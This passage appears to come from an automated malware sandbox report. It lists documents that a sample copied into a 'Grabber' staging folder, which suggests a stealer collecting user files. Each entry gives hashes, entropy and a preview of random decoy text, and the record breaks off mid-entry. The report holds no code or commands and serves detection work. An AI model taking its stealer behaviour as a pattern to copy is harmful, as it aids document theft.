                                                                                                                                                                          Preview:BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\DUUDTUBZFW.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\EFOYFBOLXA.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\EWZCVGNOWT.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690071120548773
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
                                                                                                                                                                          MD5:8F49644C9029260CF4D4802C90BA5CED
                                                                                                                                                                          SHA1:0A49DD925EF88BDEA0737A4151625525E247D315
                                                                                                                                                                          SHA-256:C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
                                                                                                                                                                          SHA-512:CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\JDDHMPCDUJ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.687055908915499
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                                                                                                                                                          MD5:94EDB575C55407C555A3F710DF2A8CB3
                                                                                                                                                                          SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                                                                                                                                                          SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                                                                                                                                                          SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
